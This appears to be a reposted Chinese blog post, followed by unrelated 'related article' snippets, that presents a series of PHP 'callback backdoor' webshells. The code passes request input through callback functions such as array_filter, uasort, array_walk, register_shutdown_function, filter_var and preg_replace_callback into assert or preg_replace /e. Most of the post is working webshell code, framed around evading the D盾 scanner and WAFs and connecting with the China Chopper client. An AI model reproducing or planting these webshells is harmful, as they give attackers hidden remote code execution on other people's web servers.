创造tips的秘籍——PHP回调后门

0x00 前言

php中包含回调函数参数的函数,具有做后门的潜质。

我就自己给这类webshell起了个名字:回调后门。

0x01 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

call_user_func_array('assert', array($_REQUEST['pass']));

0x02 数组操作造成的单参数回调后门

进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

我最早想到个最“简单好用的”:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):

类似array_filter,array_map也有同样功效:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

依旧被D盾查杀。

果然,简单的数组回调后门,还是很容易被发现与查杀的。

0x03 php5.4.8+中的assert

php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

比如如下回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

这个后门在php5.3时会报错,提示assert只能有一个参数:

php版本改作5.4后就可以执行了:

同样的道理,这个也是功能类似:

<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);

再给出这两个函数,面向对象的方法:

<?php
// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
​
// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

再来两个类似的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
​
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)

0x04 三参数回调函数

有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

不截图了。

看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

<?php
mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

另一个:

<?php
preg_filter('|.*|e', $_REQUEST['pass'], '');

这两个一句话都是不杀的:

0x05 无回显回调后门

回调后门里,有个特殊的例子:ob_start。

ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

<?php
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

即使没输出,实际代码是执行了的。也算作回调后门的一种。

0x06 单参数后门终极奥义

preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

这里给出几个好用不杀的回调后门

<?php
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

这个是php全版本支持的,且不报不杀稳定执行:

再来一个:

<?php
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

再来两个:

<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.

0x07 其他参数型回调后门

上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

所以我们需要去“构造”一个满足条件的回调函数。

怎么构造?使用create_function:

<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

“创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。

这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

类似的,这个也同样:

<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/58822.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

InstructIR: High-Quality Image Restoration Following Human Instructions 论文阅读笔记

这是Radu大佬所在的Wrzburg大学的computer vision lab实验室发表在ECCV2024上的一篇论文&#xff0c;代码开源。文章提出了一种文本引导的All-in-One的restoration模型&#xff0c;如下图所示&#xff1a; 这个工作其实跟"InstructPix2Pix: Learning to Follow Image Edit…

【实用教程】.NET C# PDF 生成技术:哪种方法适合您的项目?

概述&#xff1a;本文介绍了 TX Text Control 真正的 WYSIWYG&#xff08;所见即所得&#xff09;模板系统所带来的独特优势&#xff0c;与传统的 PDF 生成系统&#xff08;如 HTML 到 PDF 转换器或需要自定义编程的 PDF 库&#xff09;相比&#xff0c;模板是可视化设计的&…

Chromium HTML5 新的 Input 类型email对应c++

一、Input 类型: email email 类型用于应该包含 e-mail 地址的输入域。 <!DOCTYPE html> <html> <head> <meta charset"utf-8"> <title>test</title> </head> <body><form action"demo-form.php"…

notepad++ compare插件的离线下载和安装

一、离线安装 去改地址找到最新的插件&#xff1a;https://github.com/notepad-plus-plus/nppPluginList/blob/master/doc/plugin_list_x64.md下载之后复制到插件文件夹&#xff0c;插件文件夹的打开方式如下 注意目录&#xff1a; 二、问题汇总 &#xff08;1&#xff09…

echarts地图,柱状图,折线图实战

1.地图 <template><div style"height: 100%;" class"cantainerBox"><div class"top"><div class"leftTop"><span class"firstSpan">推广进度</span><div>省份选择&#xff1a;&l…

this关键字详解

文章目录 this使用示例执行原理线程安全 this 在Java中&#xff0c;this是一个特殊的引用&#xff0c;指向当前对象的实例。JVM会给每个对象分配一个this&#xff0c;来代表当前对象&#xff0c;换句话说&#xff0c;this是一个特殊的变量&#xff0c;它保存了当前对象的内存地…

Kafka物理存储机制深度解析

Kafka物理存储机制深度解析 Apache Kafka&#xff0c;作为一个分布式流处理平台&#xff0c;其物理存储机制是确保数据高效、可靠存储和处理的关键。Kafka通过一系列精心设计的存储结构和策略&#xff0c;实现了对海量数据的快速读写、持久化存储以及高效的删除和管理。以下是…

HTB:Cicada[WriteUP]

目录 连接至HTB服务器并启动靶机 使用nmap对靶机进行开放端口扫描 使用nmap对靶机开放端口进行脚本、服务信息扫描 首先尝试空密码连接靶机SMB服务 由于不知道账户名&#xff0c;这里我们使用crackmapexec对smb服务进行用户爆破 通过该账户连接至靶机SMB服务器提取敏感信…

张嘉译王海燕婚姻告急?17年长跑终落幕,真相究竟如何?

娱乐圈又一对金童玉女分道扬镳&#xff1f;在这个瞬息万变的娱乐圈里&#xff0c;爱情似乎总是来得快去得也快。近日&#xff0c;一则关于实力派演员张嘉译与妻子王海燕结束17年婚姻长跑的消息&#xff0c;如同一颗重标题&#xff1a;&#x1f494;张嘉译王海燕婚姻告急&#x…

我的电视 左侧列表内置版 | 非常高清,频道丰富的电视直播应用

我的电视是一款专注于电视直播的应用程序&#xff0c;提供丰富且全面的电视频道&#xff0c;包括央视及各大卫视。无论您是想看新闻、体育、电影还是综艺节目&#xff0c;都可以在这里找到。应用支持高清画质播放&#xff0c;确保流畅无卡顿的观看体验。简洁的界面设计和智能推…

Conmi的正确答案——在Kibana中进入Elasticsearch的索引管理页面

Elasticsearch版本&#xff1a;7.17.25 Kibana版本&#xff1a;7.17.25 注&#xff1a;索引即类似mysql的表。 0、进入首页 1、未创建任何“索引模式”时&#xff1a; 1.1、点击左边的三横菜单&#xff1b; 1.2、点击“Discover”&#xff0c;进入“发现”页面&#xff1b; 2…

在线体验Sketch中文版,免费下载即刻上手!

Sketch是一款轻量而高效的矢量设计工具&#xff0c;助力全球设计师创造了诸多惊艳作品。安装Sketch的优势主要体现在其矢量编辑、控件和样式功能上。而下载安装“Sketch中文版”即时设计同样出色&#xff0c;它作为一站式设计平台&#xff0c;功能更全面。即时设计拥有纯中文的…

aws(学习笔记第九课) 使用AWS的网络存储EBS

aws(学习笔记第九课) 使用AWS的网络存储EBS 学习内容&#xff1a; 使用AWS的网络存储EBS 1.使用AWS的网络存储EBS EBS是什么 EBS是aws Elastic Block Store的缩写&#xff0c;就是AWS的弹性数据块存储。EBS有如下特点。 它不属于EC2的一部分&#xff0c;独立存在。可以独立存…

DAY67WEB 攻防-Java 安全JNDIRMILDAP五大不安全组件RCE 执行不出网

知识点&#xff1a; 1、Java安全-RCE执行-5大类函数调用 2、Java安全-JNDI注入-RMI&LDAP&高版本 3、Java安全-不安全组件-Shiro&FastJson&JackJson&XStream&Log4j Java安全-RCE执行-5大类函数调用 Java中代码执行的类&#xff1a; Groovy Runti…

11-Python基础编程之错误和异常

Python基础编程之错误和异常 概念错误异常 常见的系统异常异常的解决预防捕捉处理异常with语句 手动抛出异常自定义异常 概念 错误 可以通过代码进行修复&#xff1b; 异常 需要提前考虑&#xff0c;设定限制条件&#xff1b;不能通过代码进行修复&#xff1b; 常见的系…

鸿蒙开发融云demo发送图片消息

鸿蒙开发融云demo发送图片消息 融云鸿蒙版是不带UI的&#xff0c;得自己一步步搭建。 这次讲如何发送图片消息&#xff0c;选择图片&#xff0c;显示图片消息。 还是有点难度的&#xff0c;好好看&#xff0c;好好学。 一、思路&#xff1a; 选择图片用&#xff1a;photoVie…

十三、检索增强生成RAG(原理和使用建议)

RAG(Retrieval-Augmented Generation)的工作原理 RAG是一种将信息检索与文本生成结合的模型,它通过以下步骤实现其工作原理: 1. 输入处理 用户提出的问题或请求被输入到系统中。这些输入通常是自然语言文本。 2. 信息检索 在输入被处理后,RAG系统执行以下操作: 检索…

Linux工具(yum/apt,vim)

yum(或apt) Linux中常见的软件的安装方式 : 1. yum/apt 2. rpm 安装包安装 3. 源码安装 yum/apt相当于手机中的各种应用管家 vim指令 vim是一个多模式的编辑器,只用于写代码 刚进入vim默认是命令模式 想要在vim中写代码,必须要进入插入模式 想要退出vim首先必须进入底行…

朴素贝叶斯 (Naive Bayes) 和三种常见变体介绍

朴素贝叶斯模型是一类基于贝叶斯定理的概率分类算法&#xff0c;常用于文本分类、垃圾邮件过滤等任务。以下是 朴素贝叶斯 (Naive Bayes) 及其三种常见变体的详细介绍&#xff0c;包括 高斯朴素贝叶斯 (Gaussian Naive Bayes)、多项式朴素贝叶斯 (Multinomial Naive Bayes) 和 …

Java设计模式之代理模式(一)

什么是代理&#xff1f;可以理解为其他对象提供一种代理以控制对这个对象的访问。 举个例子&#xff0c;生活中的外卖平台&#xff0c;店铺是制作外卖的&#xff0c;然后放到平台上售卖。这里的店铺就是真实角色&#xff0c;为了能够让店铺不用担心销售等问题&#xff0c;从而…